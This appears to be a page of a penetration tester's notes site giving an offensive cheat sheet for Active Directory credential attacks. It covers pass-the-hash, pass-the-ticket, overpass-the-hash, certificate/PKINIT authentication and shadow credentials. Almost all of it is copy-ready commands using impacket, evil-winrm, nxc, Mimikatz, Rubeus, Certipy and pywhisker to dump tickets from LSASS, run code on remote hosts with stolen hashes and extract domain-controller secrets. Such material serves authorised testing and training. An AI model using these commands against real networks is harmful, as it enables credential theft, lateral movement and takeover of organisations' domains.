> ## Documentation Index
> Fetch the complete documentation index at: https://notes.chaelsoo.me/llms.txt
> Use this file to discover all available pages before exploring further.

# Pass Attacks

Authenticate to services using captured credentials without cracking: NTLM hashes for PTH, Kerberos tickets for PTT, or certificates for PKINIT. Each technique bypasses the need to know the plaintext password.

## Pass-the-Hash (PTH)

NTLM authentication uses a challenge-response protocol that only requires the hash, not the plaintext. Works against SMB, WinRM, LDAP, and most Windows remote protocols.

> **UAC restriction:** For non-RID-500 local accounts, UAC remote token filtering blocks most lateral movement unless `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy` is set to 1. Domain accounts and the built-in Administrator (RID 500) are not affected.

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# psexec: creates a service, gives SYSTEM, very noisy
psexec.py $DOMAIN/$USER@$IP -hashes :$HASH

# wmiexec: no service created, runs as the user, quieter
wmiexec.py $DOMAIN/$USER@$IP -hashes :$HASH

# smbexec: semi-interactive, no binary dropped
smbexec.py $DOMAIN/$USER@$IP -hashes :$HASH

# evil-winrm: requires WinRM (port 5985)
evil-winrm -i $IP -u $USER -H $HASH

# nxc: verify access or run commands
nxc smb $IP -u $USER -H $HASH
nxc smb $IP -u $USER -H $HASH -x "whoami"
nxc winrm $IP -u $USER -H $HASH -x "whoami"
```

## Pass-the-Ticket (PTT)

Inject a valid Kerberos ticket into your session and authenticate as that user to any Kerberos-protected service: useful with stolen TGTs or TGSes.

```powershell wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Mimikatz: export all tickets from LSASS
privilege::debug
sekurlsa::tickets /export
# Produces .kirbi files in current directory

# Mimikatz: inject a ticket into current session
kerberos::ptt ticket.kirbi

# Rubeus: dump tickets (base64)
Rubeus.exe dump /nowrap

# Rubeus: inject ticket
Rubeus.exe ptt /ticket:<base64_ticket>

# Rubeus: dump and inject in one step
Rubeus.exe tgtdeleg /nowrap
```

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Linux: set ccache file and use with impacket
export KRB5CCNAME=/path/to/ticket.ccache
psexec.py -k -no-pass $DOMAIN/$USER@host.$DOMAIN
wmiexec.py -k -no-pass $DOMAIN/$USER@host.$DOMAIN
nxc smb $IP -u $USER --use-kcache

# Convert kirbi ↔ ccache
ticketConverter.py ticket.kirbi ticket.ccache
ticketConverter.py ticket.ccache ticket.kirbi
```

## Overpass-the-Hash

Convert an NTLM hash into a Kerberos TGT. The resulting ticket can be used for Kerberos authentication instead of NTLM: avoids NTLM-blocked environments.

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# impacket: get TGT using NTLM hash
getTGT.py $DOMAIN/$USER -hashes :$HASH -dc-ip $IP
export KRB5CCNAME=$USER.ccache
psexec.py -k -no-pass $DOMAIN/$USER@host.$DOMAIN
```

```powershell wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Rubeus: request TGT and inject into current session
Rubeus.exe asktgt /user:$USER /rc4:$HASH /ptt

# Rubeus: request TGT, output base64 for later use
Rubeus.exe asktgt /user:$USER /rc4:$HASH /outfile:$USER.kirbi
```

## Pass-the-Certificate / PKINIT

Authenticate using a certificate (PFX) instead of a password or hash. Required when you've obtained a certificate via ADCS abuse or shadow credentials and want to convert it to a usable TGT or NTLM hash.

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# gettgtpkinit (Linux): get TGT from certificate
python3 gettgtpkinit.py $DOMAIN/$USER -cert-pfx $USER.pfx -pfx-pass $PASSWORD $USER.ccache
export KRB5CCNAME=$USER.ccache
secretsdump.py -k -no-pass $DOMAIN/$USER@$DC_HOST

# Certipy: authenticate and get NT hash directly
certipy auth -pfx $USER.pfx -dc-ip $IP

# Certipy: get TGT without hash (for Kerberos-only)
certipy auth -pfx $USER.pfx -dc-ip $IP -no-hash

# Certipy: LDAP shell via Schannel (when PKINIT unavailable)
certipy auth -pfx $USER.pfx -dc-ip $IP -ldap-shell
```

```powershell wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Rubeus: request TGT with certificate and inject
Rubeus.exe asktgt /user:administrator /certificate:$B64 /password:$PASSWORD /ptt

# Rubeus: save to file instead
Rubeus.exe asktgt /user:administrator /certificate:$B64 /password:$PASSWORD /outfile:admin.kirbi
```

### Shadow Credentials via pywhisker

If you have `WriteProperty` on `msDS-KeyCredentialLink`, add a certificate credential to the target account without changing the password.

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Add shadow credential (generates pfx + password)
pywhisker -d $DOMAIN -u $USER -p $PASSWORD --target $TARGET --action add --dc-ip $IP

# Use the generated PFX to get a TGT
getTGT.py $DOMAIN/$TARGET -pfx-base64 $B64 -dc-ip $IP
export KRB5CCNAME=$TARGET.ccache

# Or use Certipy directly
certipy shadow auto -u $USER@$DOMAIN -p $PASSWORD -account $TARGET -dc-ip $IP
```